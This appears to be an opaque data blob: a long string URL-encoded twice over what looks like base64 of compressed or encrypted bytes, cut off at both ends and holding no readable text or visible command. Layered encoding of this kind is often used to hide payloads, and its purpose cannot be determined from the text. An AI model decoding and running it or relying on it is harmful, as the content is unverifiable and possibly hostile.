%35%33%25%37%30%25%37%32%25%34%36%25%37%34%25%36%63%25%34%32%25%37%36%25%37%38%25%34%35%25%35%32%25%33%34%25%32%62%25%36%65%25%33%39%25%34%39%25%34%62%25%34%65%25%36%37%25%37%36%25%36%34%25%33%38%25%34%31%25%33%37%25%36%39%25%37%34%25%32%66%25%34%38%25%35%30%25%36%64%25%36%32%25%34%32%25%35%32%25%35%35%25%37%31%25%36%38%25%35%34%25%36%31%25%34%39%25%35%39%25%36%37%25%33%36%25%35%39%25%36%35%25%35%33%25%34%33%25%34%36%25%34%36%25%34%33%25%34%64%25%37%37%25%37%35%25%37%32%25%34%34%25%36%39%25%37%39%25%36%61%25%33%30%25%37%31%25%37%34%25%34%63%25%37%61%25%34%62%25%37%32%25%33%32%25%35%30%25%37%31%25%34%38%25%33%33%25%34%38%25%33%31%25%35%61%25%37%31%25%33%36%25%34%62%25%34%32%25%37%34%25%36%63%25%36%31%25%36%37%25%35%31%25%36%31%25%35%35%25%35%33%25%34%65%25%37%37%25%36%36%25%34%36%25%35%33%25%34%32%25%35%36%25%34%36%25%35%33%25%34%32%25%33%38%25%35%31%25%34%62%25%33%38%25%34%34%25%33%37%25%35%34%25%35%61%25%34%32%25%33%39%25%37%30%25%36%64%25%34%63%25%36%65%25%35%31%25%33%34%25%33%31%25%37%32%25%36%31%25%33%36%25%36%35%25%33%31%25%34%65%25%37%36%25%36%35%25%34%32%25%34%63%25%35%34%25%35%32%25%34%33%25%35%31%25%33%30%25%37%31%25%34%32%25%35%61%25%36%36%25%34%64%25%36%34%25%35%35%25%35%36%25%37%37%25%34%34%25%33%38%25%35%30%25%32%62%25%35%35%25%35%30%25%33%33%25%35%37%25%37%34%25%35%36%25%35%35%25%35%38%25%35%39%25%35%37%25%37%30%25%35%38%25%34%62%25%37%38%25%36%61%25%37%39%25%34%34%25%35%37%25%34%36%25%34%32%25%36%35%25%37%33%25%34%61%25%36%32%25%36%62%25%37%34%25%33%31%25%34%33%25%36%36%25%36%31%25%36%65%25%36%63%25%36%39%25%36%64%25%34%63%25%32%66%25%36%63%25%36%32%25%34%65%25%33%31%25%35%36%25%36%62%25%36%37%25%36%38%25%36%31%25%34%31%25%37%61%25%33%32%25%34%31%25%37%35%25%35%33%25%34%35%25%37%35%25%34%66%25%37%36%25%35%38%25%37%33%25%36%38%25%35%30%25%36%36%25%36%37%25%34%34%25%32%66%25%35%61%25%35%38%25%34%66%25%33%31%25%33%30%25%36%35%25%35%35%25%36%64%25%33%33%25%34%61%25%33%32%25%36%32%25%36%38%25%36%34%25%37%61%25%35%37%25%36%37%25%34%31%25%34%31%25%34%35%25%34%31%25%36%66%25%32%66%25%36%64%25%33%31%25%36%38%25%37%31%25%34%35%25%35%34%25%36%62%25%36%65%25%33%30%25%34%64%25%34%32%25%34%36%25%34%32%25%32%66%25%35%39%25%36%36%25%33%36%25%37%39%25%36%35%25%34%33%25%33%38%25%36%38%25%35%31%25%37%30%25%36%34%25%35%31%25%34%39%25%36%61%25%35%61%25%32%66%25%36%65%25%32%62%25%33%32%25%33%37%25%34%35%25%33%33%25%33%37%25%35%36%25%37%31%25%36%65%25%32%62%25%33%39%25%34%37%25%36%36%25%34%65%25%33%31%25%33%37%25%36%35%25%37%34%25%36%32%25%33%39%25%36%31%25%35%32%25%34%64%25%36%35%25%34%65%25%36%33%25%33%30%25%37%33%25%36%61%25%34%35%25%36%64%25%35%33%25%34%65%25%34%62%25%36%62%25%37%35%25%33%36%25%37%31%25%33%31%25%37%34%25%35%32%25%35%35%25%35%30%25%33%37%25%35%36%25%33%36%25%36%31%25%34%63%25%34%36%25%33%33%25%34%61%25%34%33%25%33%32%25%36%37%25%36%63%25%36%64%25%36%33%25%34%61%25%35%61%25%37%31%25%35%61%25%36%65%25%33%35%25%34%32%25%33%37%25%35%31%25%36%36%25%36%64%25%34%32%25%37%61%25%34%33%25%34%35%25%34%31%25%34%33%25%34%39%25%33%32%25%34%31%25%35%33%25%36%32%25%34%66%25%35%34%25%33%30%25%37%30%25%33%30%25%33%34%25%37%39%25%34%61%25%33%36%25%36%64%25%36%61%25%37%61%25%34%35%25%34%35%25%34%64%25%34%36%25%34%62%25%35%33%25%35%61%25%34%33%25%35%39%25%37%32%25%33%39%25%36%36%25%37%36%25%36%65%25%34%61%25%36%36%25%36%63%25%34%35%25%34%39%25%35%35%25%36%32%25%35%31%25%33%30%25%36%38%25%37%34%25%37%32%25%34%35%25%34%34%25%37%34%25%36%35%25%34%35%25%35%32%25%33%35%25%34%61%25%36%66%25%36%37%25%33%31%25%37%32%25%34%35%25%35%33%25%37%31%25%34%33%25%35%33%25%34%37%25%36%39%25%34%35%25%37%39%25%36%38%25%34%61%25%37%30%25%33%35%25%34%34%25%37%32%25%34%64%25%34%34%25%32%66%25%34%37%25%33%37%25%35%34%25%37%30%25%34%61%25%35%61%25%33%30%25%36%61%25%36%63%25%36%63%25%37%31%25%37%35%25%36%36%25%33%38%25%37%38%25%34%65%25%33%36%25%37%38%25%34%39%25%33%33%25%35%38%25%37%34%25%36%36%25%34%35%25%35%33%25%36%62%25%36%39%25%34%39%25%35%61%25%35%31%25%35%31%25%34%32%25%36%37%25%36%64%25%35%33%25%35%30%25%37%33%25%36%34%25%37%37%25%35%36%25%37%30%25%34%35%25%33%31%25%37%61%25%33%31%25%36%64%25%37%35%25%35%33%25%33%34%25%36%63%25%34%31%25%35%39%25%35%31%25%36%39%25%36%39%25%34%33%25%35%34%25%35%31%25%33%39%25%36%35%25%36%36%25%36%62%25%32%66%25%34%39%25%36%37%25%36%66%25%35%31%25%34%32%25%37%37%25%34%34%25%35%31%25%35%36%25%34%34%25%34%31%25%33%34%25%35%32%25%34%35%25%34%64%25%34%34%25%36%66%25%36%34%25%34%37%25%35%31%25%35%37%25%36%65%25%35%37%25%35%31%25%34%32%25%36%37%25%33%32%25%35%31%25%34%61%25%36%62%25%33%32%25%35%31%25%34%65%25%36%64%25%33%30%25%35%31%25%34%36%25%36%37%25%37%33%25%37%38%25%34%64%25%35%35%25%34%66%25%33%36%25%36%34%25%35%35%25%34%66%25%35%37%25%35%37%25%36%37%25%33%34%25%34%61%25%34%33%25%36%62%25%34%36%25%33%34%25%35%30%25%34%62%25%35%32%25%35%30%25%35%30%25%37%39%25%35%31%25%37%33%25%34%34%25%34%32%25%36%62%25%33%30%25%34%33%25%34%32%25%36%62%25%33%31%25%34%33%25%36%66%25%36%64%25%34%62%25%35%31%25%36%38%25%34%62%25%35%33%25%36%62%25%34%33%25%36%63%25%35%34%25%36%62%25%34%32%25%36%63%25%37%61%25%34%35%25%34%61%25%34%35%25%34%39%25%33%32%25%35%37%25%35%35%25%35%38%25%34%32%25%34%31%25%34%36%25%36%39%25%33%39%25%34%32%25%34%39%25%35%32%25%33%36%25%33%30%25%34%65%25%36%36%25%34%63%25%33%31%25%34%34%25%35%38%25%34%37%25%37%61%25%35%30%25%35%34%25%33%30%25%34%38%25%36%39%25%36%36%25%36%39%25%35%35%25%32%62%25%34%32%25%33%38%25%35%37%25%35%36%25%34%33%25%36%65%25%34%39%25%35%37%25%35%36%25%34%33%25%34%31%25%34%32%25%37%35%25%34%33%25%34%33%25%36%38%25%34%38%25%36%66%25%37%30%25%34%37%25%35%39%25%36%38%25%36%32%25%33%38%25%36%31%25%37%61%25%33%37%25%36%35%25%35%61%25%35%37%25%36%31%25%34%34%25%36%35%25%37%31%25%36%37%25%34%31%25%34%62%25%34%64%25%34%34%25%33%39%25%32%66%25%34%34%25%34%32%25%34%33%25%36%38%25%35%32%25%34%34%25%34%64%25%37%35%25%33%33%25%33%37%25%35%35%25%36%35%25%35%31%25%36%39%25%34%39%25%34%31%25%35%33%25%36%38%25%36%62%25%34%35%25%33%32%25%35%61%25%34%34%25%36%64%25%35%33%25%36%64%25%34%34%25%34%62%25%33%31%25%36%37%25%36%35%25%37%39%25%35%36%25%34%31%25%35%30%25%35%33%25%37%39%25%34%37%25%33%34%25%34%34%25%35%31%25%34%37%25%36%35%25%33%30%25%32%66%25%37%35%25%35%39%25%36%33%25%36%33%25%36%38%25%36%64%25%34%64%25%33%31%25%37%35%25%36%35%25%33%31%25%36%65%25%36%31%25%37%37%25%34%33%25%34%63%25%32%66%25%36%33%25%36%63%25%37%33%25%36%31%25%35%33%25%34%39%25%34%36%25%34%36%25%36%61%25%37%36%25%34%32%25%32%62%25%36%38%25%33%31%25%34%38%25%34%63%25%34%64%25%35%34%25%36%38%25%37%34%25%34%38%25%36%61%25%34%61%25%35%32%25%33%32%25%33%37%25%34%64%25%34%61%25%37%38%25%33%35%25%35%31%25%34%34%25%34%39%25%34%36%25%37%39%25%32%66%25%33%31%25%34%62%25%34%34%25%35%35%25%34%64%25%35%39%25%34%31%25%34%65%25%34%31%25%35%36%25%36%31%25%36%37%25%36%37%25%32%62%25%37%32%25%34%36%25%33%37%25%35%34%25%36%39%25%37%37%25%35%33%25%35%39%25%33%32%25%36%33%25%36%37%25%36%35%25%34%37%25%34%64%25%34%34%25%34%66%25%34%33%25%35%36%25%34%63%25%33%31%25%36%37%25%35%61%25%36%63%25%35%61%25%33%34%25%34%33%25%36%37%25%37%31%25%34%35%25%33%32%25%35%61%25%34%31%25%35%37%25%36%64%25%37%36%25%36%65%25%36%35%25%36%37%25%37%30%25%35%61%25%34%61%25%33%30%25%33%33%25%36%37%25%35%61%25%34%34%25%33%31%25%34%64%25%33%30%25%34%38%25%37%33%25%37%39%25%37%37%25%34%37%25%36%66%25%34%36%25%35%35%25%34%63%25%34%64%25%34%61%25%35%38%25%36%65%25%36%65%25%33%37%25%37%37%25%35%33%25%34%65%25%36%39%25%37%37%25%36%37%25%34%33%25%36%33%25%33%33%25%35%39%25%34%39%25%36%39%25%33%38%25%34%32%25%36%39%25%34%36%25%37%31%25%34%35%25%34%63%25%35%31%25%34%38%25%34%66%25%34%62%25%35%30%25%34%37%25%32%66%25%32%62%25%33%30%25%34%38%25%36%39%25%33%38%25%36%37%25%35%31%25%34%34%25%33%33%25%34%35%25%36%36%25%37%31%25%36%61%25%34%64%25%34%32%25%35%39%25%36%61%25%36%63%25%36%37%25%37%31%25%35%61%25%35%30%25%34%61%25%35%38%25%35%34%25%37%39%25%37%34%25%35%61%25%35%33%25%33%39%25%36%33%25%34%32%25%37%36%25%36%39%25%37%32%25%37%33%25%36%38%25%35%30%25%36%39%25%36%65%25%37%37%25%35%61%25%34%33%25%37%32%25%36%64%25%36%33%25%36%39%25%37%39%25%36%37%25%36%38%25%35%35%25%33%32%25%36%34%25%37%37%25%33%38%25%34%36%25%33%39%25%35%38%25%37%35%25%35%30%25%33%32%25%37%37%25%34%31%25%33%30%25%37%34%25%35%31%25%36%66%25%35%36%25%36%66%25%35%37%25%34%62%25%36%39%25%36%62%25%35%61%25%35%35%25%35%61%25%36%38%25%35%37%25%37%61%25%34%31%25%36%63%25%37%37%25%36%33%25%36%37%25%36%62%25%36%63%25%37%34%25%36%66%25%35%38%25%34%35%25%35%35%25%35%30%25%35%32%25%33%37%25%34%62%25%36%33%25%32%62%25%35%39%25%33%39%25%32%62%25%33%30%25%34%37%25%36%39%25%35%32%25%37%30%25%36%61%25%36%33%25%33%39%25%36%66%25%34%63%25%34%36%25%35%34%25%36%63%25%36%66%25%34%35%25%34%65%25%35%32%25%36%34%25%37%37%25%34%64%25%33%39%25%36%63%25%35%32%25%33%38%25%34%31%25%36%36%25%36%36%25%36%33%25%36%33%25%35%30%25%37%31%25%35%36%25%35%34%25%34%64%25%36%38%25%34%62%25%36%34%25%37%32%25%36%35%25%36%33%25%34%62%25%37%35%25%34%31%25%37%39%25%34%31%25%37%30%25%36%32%25%35%61%25%34%37%25%37%33%25%34%36%25%37%37%25%33%32%25%36%63%25%37%32%25%34%37%25%33%32%25%37%30%25%35%36%25%36%31%25%36%62%25%36%65%25%34%35%25%34%36%25%34%62%25%34%36%25%37%36%25%34%61%25%33%39%25%35%39%25%34%34%25%35%37%25%35%38%25%35%61%25%35%38%25%33%33%25%33%31%25%36%34%25%36%63%25%35%34%25%32%62%25%33%32%25%34%36%25%35%34%25%35%31%25%35%31%25%34%64%25%37%35%25%33%36%25%35%39%25%35%30%25%36%64%25%36%63%25%37%34%25%33%38%25%35%34%25%33%36%25%37%30%25%34%31%25%37%36%25%36%34%25%36%38%25%35%39%25%34%34%25%33%39%25%34%61%25%34%32%25%37%34%25%34%61%25%35%34%25%35%30%25%35%38%25%37%32%25%35%36%25%33%32%25%36%37%25%36%64%25%33%31%25%33%35%25%33%34%25%36%37%25%36%32%25%35%39%25%32%62%25%34%61%25%35%32%25%34%61%25%34%62%25%35%32%25%36%32%25%34%34%25%35%33%25%34%36%25%36%36%25%33%32%25%33%39%25%36%63%25%37%30%25%34%31%25%34%39%25%36%32%25%34%61%25%33%38%25%37%33%25%36%32%25%36%38%25%37%32%25%33%36%25%33%32%25%33%32%25%34%36%25%36%66%25%37%39%25%36%39%25%36%66%25%37%61%25%36%34%25%37%36%25%36%35%25%33%36%25%36%64%25%37%36%25%34%33%25%35%38%25%36%34%25%33%36%25%33%35%25%36%38%25%35%34%25%36%32%25%34%34%25%33%30%25%36%37%25%35%36%25%34%31%25%35%37%25%37%36%25%37%35%25%36%66%25%35%34%25%37%30%25%35%39%25%35%32%25%33%36%25%32%62%25%37%36%25%35%30%25%36%63%25%36%66%25%35%36%25%34%63%25%37%36%25%32%66%25%32%62%25%34%66%25%33%39%25%37%61%25%36%31%25%36%38%25%36%32%25%36%35%25%32%66%25%35%38%25%33%38%25%32%62%25%34%61%25%36%65%25%36%35%25%37%32%25%33%36%25%34%61%25%37%35%25%36%35%25%36%35%25%37%39%25%33%32%25%36%31%25%34%39%25%37%37%25%37%38%25%36%61%25%36%38%25%34%35%25%36%36%25%33%31%25%35%37%25%37%35%25%36%35%25%34%33%25%34%35%25%35%30%25%36%36%25%36%34%25%36%35%25%36%31%25%37%38%25%34%36%25%35%37%25%33%39%25%34%34%25%37%38%25%35%33%25%36%62%25%35%61%25%35%35%25%36%63%25%33%30%25%33%34%25%37%34%25%33%37%25%34%66%25%37%30%25%34%64%25%33%34%25%33%32%25%36%61%25%36%32%25%35%37%25%33%35%25%36%62%25%34%31%25%36%61%25%33%34%25%34%62%25%34%39%25%36%34%25%34%36%25%36%66%25%34%36%25%34%64%25%35%32%25%37%31%25%36%63%25%33%32%25%37%37%25%34%32%25%33%33%25%36%63%25%36%62%25%34%32%25%37%34%25%33%35%25%36%31%25%35%38%25%33%30%25%34%38%25%36%62%25%32%62%25%33%30%25%33%35%25%37%36%25%37%34%25%34%38%25%36%66%25%36%62%25%37%35%25%35%61%25%34%62%25%36%36%25%34%63%25%37%38%25%37%32%25%35%30%25%33%39%25%33%30%25%34%33%25%34%37%25%34%35%25%37%33%25%36%61%25%33%30%25%36%37%25%34%66%25%33%34%25%36%64%25%32%66%25%34%64%25%37%39%25%34%31%25%33%34%25%35%36%25%35%61%25%34%37%25%32%66%25%34%61%25%33%36%25%34%63%25%36%62%25%34%38%25%37%61%25%34%35%25%33%36%25%35%39%25%36%32%25%34%64%25%35%35%25%37%33%25%33%39%25%36%65%25%34%65%25%33%37%25%34%62%25%33%37%25%34%33%25%36%62%25%34%64%25%34%39%25%37%37%25%33%39%25%33%34%25%32%66%25%35%39%25%37%37%25%34%36%25%34%33%25%35%32%25%37%32%25%36%36%25%37%36%25%37%30%25%36%33%25%35%37%25%35%39%25%33%37%25%36%38%25%33%31%25%34%63%25%37%34%25%34%31%25%36%61%25%35%38%25%34%34%25%36%64%25%35%33%25%34%61%25%36%39%25%37%30%25%33%31%25%36%32%25%35%37%25%36%64%25%36%39%25%36%38%25%34%32%25%35%30%25%37%38%25%35%34%25%34%62%25%34%64%25%34%37%25%33%34%25%34%37%25%34%61%25%37%31%25%33%31%25%35%32%25%33%30%25%33%38%25%37%36%25%36%64%25%35%35%25%34%38%25%34%38%25%33%39%25%36%66%25%34%65%25%34%36%25%35%38%25%35%31%25%37%31%25%33%36%25%33%39%25%35%32%25%34%33%25%37%32%25%34%65%25%35%32%25%34%66%25%35%36%25%37%35%25%34%32%25%35%61%25%36%39%25%37%30%25%34%62%25%35%32%25%34%35%25%36%38%25%33%30%25%34%36%25%35%37%25%37%30%25%37%38%25%32%62%25%36%33%25%37%32%25%37%34%25%34%31%25%33%35%25%33%30%25%33%31%25%35%31%25%36%33%25%34%36%25%33%34%25%36%63%25%33%39%25%34%64%25%36%65%25%35%38%25%34%31%25%36%63%25%35%34%25%36%62%25%34%35%25%36%39%25%34%36%25%37%31%25%34%65%25%36%37%25%36%37%25%33%31%25%34%64%25%33%38%25%36%61%25%33%35%25%33%36%25%36%37%25%35%37%25%36%36%25%36%37%25%36%31%25%36%33%25%37%36%25%35%39%25%34%38%25%34%64%25%37%33%25%37%39%25%36%62%25%33%36%25%37%35%25%33%32%25%32%66%25%36%65%25%35%36%25%36%37%25%33%38%25%33%33%25%36%63%25%34%63%25%36%39%25%35%34%25%35%36%25%33%38%25%37%36%25%34%63%25%35%38%25%33%34%25%34%38%25%36%66%25%32%62%25%36%63%25%36%32%25%36%63%25%36%32%25%34%32%25%36%34%25%37%36%25%36%66%25%34%61%25%36%31%25%36%63%25%35%61%25%34%34%25%33%36%25%34%64%25%34%66%25%36%31%25%36%39%25%33%35%25%37%38%25%36%38%25%33%32%25%33%37%25%33%39%25%37%31%25%37%38%25%33%39%25%34%33%25%34%63%25%37%39%25%33%31%25%33%33%25%33%37%25%33%39%25%37%32%25%33%38%25%32%66%25%34%33%25%34%37%25%34%62%25%35%34%25%33%37%25%37%32%25%37%38%25%34%65%25%37%34%25%35%33%25%34%34%25%35%39%25%37%31%25%35%39%25%33%34%25%34%38%25%33%34%25%36%66%25%35%36%25%34%66%25%36%65%25%33%30%25%36%33%25%37%39%25%35%37%25%37%32%25%37%34%25%35%33%25%35%36%25%34%38%25%37%32%25%35%61%25%35%39%25%34%65%25%34%33%25%35%30%25%36%31%25%36%35%25%36%62%25%37%31%25%36%63%25%36%38%25%34%37%25%33%37%25%36%33%25%34%38%25%33%35%25%33%39%25%34%31%25%35%34%25%35%31%25%37%34%25%35%35%25%34%65%25%34%64%25%36%61%25%34%37%25%32%66%25%34%33%25%36%37%25%34%32%25%34%33%25%33%36%25%35%30%25%33%36%25%33%35%25%34%34%25%34%39%25%33%35%25%34%37%25%36%64%25%35%36%25%36%38%25%34%33%25%34%64%25%34%38%25%36%37%25%35%33%25%33%38%25%34%61%25%37%38%25%33%37%25%34%38%25%37%34%25%35%34%25%33%35%25%34%66%25%35%32%25%36%32%25%32%66%25%37%33%25%32%66%25%34%64%25%37%35%25%33%35%25%37%31%25%36%63%25%35%32%25%33%30%25%36%34%25%32%62%25%37%61%25%36%35%25%37%61%25%37%34%25%36%35%25%37%34%25%33%37%25%37%34%25%33%37%25%37%38%25%33%32%25%34%31%25%34%66%25%36%64%25%36%35%25%36%63%25%36%34%25%35%30%25%34%61%25%33%32%25%34%32%25%36%31%25%34%38%25%36%38%25%33%36%25%35%31%25%34%61%25%33%30%25%36%63%25%37%33%25%37%34%25%33%37%25%36%36%25%37%39%25%36%34%25%35%61%25%36%39%25%34%33%25%34%37%25%34%62%25%34%33%25%37%39%25%34%37%25%33%38%25%37%38%25%33%39%25%36%34%25%36%36%25%32%66%25%33%31%25%33%33%25%35%34%25%33%36%25%33%39%25%32%66%25%35%61%25%34%39%25%36%39%25%36%38%25%32%62%25%36%36%25%37%31%25%37%35%25%34%65%25%35%35%25%34%32%25%37%61%25%36%33%25%34%36%25%34%64%25%33%38%25%33%30%25%36%33%25%35%36%25%36%64%25%35%37%25%32%66%25%34%66%25%37%32%25%35%38%25%34%61%25%37%31%25%36%32%25%35%32%25%37%39%25%35%61%25%36%35%25%36%62%25%36%31%25%37%39%25%35%37%25%37%32%25%35%33%25%34%62%25%33%33%25%36%39%25%36%62%25%34%31%25%33%36%25%36%64%25%34%65%25%33%38%25%34%39%25%36%65%25%36%36%25%33%32%25%34%37%25%37%35%25%37%31%25%36%39%25%36%66%25%33%34%25%33%34%25%33%39%25%36%32%25%36%33%25%36%36%25%37%32%25%37%35%25%36%64%25%33%35%25%34%38%25%34%31%25%34%63%25%33%39%25%36%36%25%34%37%25%36%62%25%34%37%25%34%34%25%34%31%25%32%66%25%35%31%25%35%37%25%33%30%25%34%33%25%37%38%25%36%62%25%34%63%25%35%39%25%34%65%25%34%65%25%36%34%25%36%38%25%37%31%25%34%31%25%36%31%25%34%64%25%35%31%25%36%38%25%36%34%25%36%35%25%37%31%25%35%31%25%34%65%25%34%34%25%35%32%25%33%34%25%37%34%25%35%61%25%35%30%25%34%32%25%36%66%25%34%31%25%33%37%25%33%37%25%34%65%25%35%34%25%33%31%25%36%66%25%35%36%25%37%39%25%33%34%25%37%30%25%36%66%25%33%35%25%33%31%25%35%31%25%36%64%25%35%61%25%34%35%25%34%66%25%34%39%25%34%35%25%35%36%25%34%61%25%36%39%25%37%61%25%36%35%25%32%62%25%35%36%25%36%61%25%34%66%25%34%37%25%37%37%25%37%30%25%32%62%25%34%37%25%34%31%25%34%39%25%34%61%25%34%35%25%34%62%25%37%38%25%35%38%25%37%33%25%36%37%25%35%31%25%34%36%25%37%39%25%32%66%25%34%35%25%34%37%25%36%32%25%34%66%25%34%36%25%34%37%25%37%33%25%33%36%25%32%66%25%35%37%25%34%32%25%33%39%25%33%32%25%36%61%25%37%35%25%37%35%25%37%39%25%34%36%25%36%63%25%35%37%25%33%32%25%35%32%25%34%65%25%35%33%25%34%33%25%36%35%25%36%61%25%36%39%25%37%61%25%36%66%25%34%65%25%33%33%25%37%32%25%36%61%25%33%36%25%33%34%25%34%61%25%35%31%25%36%64%25%34%36%25%35%31%25%34%31%25%36%34%25%34%63%25%35%36%25%35%33%25%37%37%25%34%32%25%35%38%25%37%31%25%34%38%25%33%38%25%37%34%25%34%31%25%32%66%25%35%32%25%36%33%25%37%39%25%33%35%25%34%64%25%35%33%25%35%36%25%35%38%25%35%61%25%37%34%25%34%64%25%34%32%25%33%32%25%35%37%25%36%36%25%36%38%25%34%34%25%37%39%25%35%31%25%37%39%25%37%32%25%35%31%25%36%36%25%36%39%25%34%33%25%34%33%25%34%39%25%34%65%25%37%30%25%36%65%25%34%32%25%33%38%25%36%39%25%37%32%25%37%39%25%36%63%25%37%36%25%37%37%25%33%39%25%36%37%25%35%39%25%34%64%25%36%33%25%34%35%25%34%37%25%35%34%25%35%36%25%34%38%25%34%61%25%36%32%25%37%33%25%37%31%25%36%31%25%36%34%25%33%31%25%33%30%25%36%31%25%34%38%25%33%38%25%36%65%25%33%30%25%33%35%25%37%31%25%35%36%25%37%61%25%35%32%25%36%32%25%35%34%25%34%62%25%34%61%25%36%37%25%34%62%25%37%31%25%35%35%25%34%31%25%35%34%25%34%65%25%36%63%25%34%32%25%35%35%25%33%37%25%33%30%25%37%31%25%36%66%25%34%38%25%36%32%25%37%34%25%34%66%25%34%66%25%36%64%25%36%66%25%34%35%25%33%30%25%34%64%25%33%32%25%36%64%25%36%34%25%36%37%25%37%39%25%34%36%25%37%32%25%33%34%25%34%38%25%36%32%25%34%32%25%37%61%25%32%62%25%37%30%25%34%66%25%34%64%25%35%37%25%36%33%25%37%38%25%35%37%25%33%32%25%36%61%25%34%31%25%33%36%25%36%36%25%34%38%25%35%31%25%34%64%25%36%34%25%34%38%25%34%65%25%36%38%25%37%32%25%34%62%25%34%35%25%34%39%25%35%33%25%36%35%25%35%35%25%35%34%25%37%30%25%34%39%25%36%32%25%36%65%25%35%38%25%32%66%25%34%63%25%35%35%25%35%37%25%35%31%25%35%38%25%36%63%25%32%66%25%35%30%25%37%61%25%34%35%25%35%30%25%36%61%25%33%31%25%33%31%25%34%65%25%36%35%25%33%35%25%37%31%25%34%63%25%35%34%25%37%37%25%34%31%25%34%32%25%37%31%25%37%31%25%37%31%25%37%33%25%33%32%25%33%35%25%34%32%25%35%39%25%33%37%25%33%30%25%36%62%25%34%63%25%34%65%25%34%39%25%35%36%25%34%61%25%34%37%25%36%36%25%34%38%25%36%66%25%34%65%25%33%36%25%35%31%25%36%33%25%35%38%25%35%32%25%35%37%25%36%38%25%34%37%25%35%30%25%35%38%25%34%33%25%34%31%25%37%33%25%37%32%25%34%62%25%37%30%25%34%31%25%34%32%25%36%66%25%34%32%25%35%34%25%33%38%25%37%32%25%36%61%25%33%37%25%36%31%25%33%34%25%37%32%25%34%36%25%34%62%25%36%37%25%34%65%25%36%66%25%36%64%25%36%39%25%36%34%25%34%34%25%35%32%25%35%34%25%34%34%25%33%39%25%36%36%25%36%39%25%35%32%25%33%31%25%35%32%25%34%36%25%36%39%25%37%36%25%33%32%25%36%65%25%36%65%25%34%39%25%34%31%25%34%31%25%35%61%25%35%34%25%34%38%25%34%65%25%37%36%25%37%33%25%33%30%25%35%34%25%37%61%25%34%37%25%36%39%25%35%39%25%34%32%25%32%62%25%37%32%25%33%30%25%34%65%25%34%31%25%34%31%25%35%30%25%34%66%25%34%36%25%33%36%25%36%37%25%37%61%25%37%38%25%36%61%25%35%31%25%34%33%25%37%36%25%36%35%25%35%35%25%35%61%25%34%39%25%33%30%25%35%61%25%37%32%25%34%31%25%36%32%25%35%33%25%33%33%25%37%32%25%33%32%25%37%35%25%33%33%25%37%34%25%35%33%25%33%30%25%34%39%25%36%63%25%36%37%25%35%36%25%36%66%25%36%34%25%32%66%25%35%32%25%33%33%25%32%66%25%37%38%25%36%63%25%36%37%25%34%65%25%36%39%25%36%63%25%36%34%25%36%37%25%35%34%25%33%34%25%34%32%25%37%31%25%34%62%25%32%62%25%36%35%25%34%31%25%35%33%25%36%39%25%34%33%25%34%31%25%37%37%25%35%34%25%35%35%25%34%62%25%34%39%25%35%30%25%35%31%25%34%37%25%37%30%25%36%61%25%37%39%25%36%33%25%34%31%25%34%32%25%35%38%25%33%38%25%34%63%25%35%35%25%36%64%25%36%61%25%34%31%25%34%65%25%35%33%25%36%63%25%34%64%25%34%32%25%36%38%25%33%31%25%37%38%25%34%36%25%34%33%25%34%64%25%34%64%25%36%34%25%37%35%25%34%61%25%36%34%25%33%36%25%35%36%25%34%64%25%35%34%25%36%64%25%35%36%25%35%37%25%34%65%25%34%32%25%35%37%25%32%66%25%35%34%25%33%38%25%34%33%25%34%39%25%36%64%25%36%35%25%36%35%25%37%35%25%34%39%25%33%31%25%33%34%25%35%34%25%33%30%25%33%34%25%36%38%25%36%33%25%37%31%25%36%61%25%37%61%25%34%62%25%34%37%25%36%62%25%36%63%25%37%30%25%35%39%25%33%30%25%33%32%25%33%38%25%34%38%25%35%31%25%35%37%25%35%36%25%36%32%25%35%31%25%36%61%25%33%35%25%36%65%25%35%31%25%35%39%25%37%61%25%34%35%25%37%30%25%34%32%25%35%36%25%36%66%25%35%36%25%36%39%25%35%39%25%37%33%25%34%65%25%36%64%25%34%31%25%36%36%25%36%62%25%36%35%25%36%39%25%36%37%25%37%39%25%36%37%25%34%35%25%33%30%25%35%31%25%34%66%25%35%33%25%34%34%25%34%36%25%34%31%25%36%32%25%33%35%25%34%31%25%35%33%25%34%39%25%34%66%25%33%32%25%34%31%25%36%36%25%34%31%25%36%37%25%34%63%25%35%61%25%34%31%25%34%31%25%35%39%25%34%33%25%36%38%25%34%39%25%34%37%25%34%37%25%35%31%25%34%64%25%35%37%25%36%37%25%37%30%25%37%61%25%35%33%25%34%62%25%36%35%25%36%66%25%36%32%25%36%62%25%34%36%25%34%65%25%37%32%25%36%64%25%33%35%25%35%37%25%35%38%25%35%33%25%34%64%25%33%35%25%36%64%25%37%39%25%34%33%25%35%37%25%37%39%25%35%39%25%34%63%25%35%30%25%37%31%25%36%62%25%37%35%25%34%62%25%34%64%25%37%61%25%33%34%25%34%39%25%33%31%25%34%62%25%36%61%25%36%38%25%36%38%25%34%33%25%36%65%25%34%65%25%35%39%25%34%33%25%37%33%25%35%34%25%33%39%25%34%34%25%33%39%25%36%63%25%34%37%25%32%66%25%37%61%25%34%35%25%35%39%25%35%61%25%37%61%25%37%39%25%34%33%25%35%34%25%32%66%25%34%33%25%36%32%25%33%39%25%36%33%25%36%34%25%35%30%25%35%33%25%34%32%25%33%36%25%36%37%25%36%32%25%36%62%25%34%31%25%36%35%25%34%36%25%34%62%25%34%36%25%36%38%25%34%33%25%37%37%25%36%61%25%33%39%25%34%39%25%37%35%25%35%34%25%35%32%25%32%66%25%33%34%25%37%34%25%33%38%25%37%35%25%35%30%25%37%37%25%35%34%25%34%62%25%34%64%25%34%33%25%34%64%25%36%61%25%36%34%25%34%38%25%36%63%25%35%31%25%35%31%25%37%38%25%34%65%25%33%32%25%33%39%25%34%65%25%36%33%25%34%34%25%36%66%25%33%33%25%35%38%25%33%35%25%33%38%25%34%37%25%35%39%25%35%30%25%34%62%25%36%38%25%35%36%25%37%31%25%33%38%25%37%35%25%34%34%25%34%64%25%33%37%25%35%31%25%36%61%25%36%38%25%37%61%25%36%33%25%33%34%25%36%35%25%37%33%25%34%61%25%33%31%25%34%31%25%36%65%25%33%30%25%36%66%25%33%35%25%35%30%25%37%36%25%34%36%25%37%32%25%36%62%25%33%39%25%37%39%25%33%30%25%34%62%25%36%64%25%34%61%25%35%37%25%34%39%25%33%35%25%36%66%25%37%35%25%34%38%25%36%33%25%33%33%25%36%63%25%36%66%25%36%37%25%36%36%25%34%35%25%37%34%25%37%32%25%37%30%25%34%38%25%35%30%25%37%39%25%37%37%25%36%34%25%34%34%25%33%36%25%33%36%25%36%34%25%33%35%25%36%37%25%33%32%25%33%31%25%33%31%25%35%36%25%35%31%25%32%66%25%33%33%25%36%38%25%34%33%25%35%38%25%34%32%25%34%33%25%35%37%25%33%36%25%37%36%25%34%39%25%35%31%25%36%34%25%34%34%25%36%61%25%36%38%25%36%64%25%34%32%25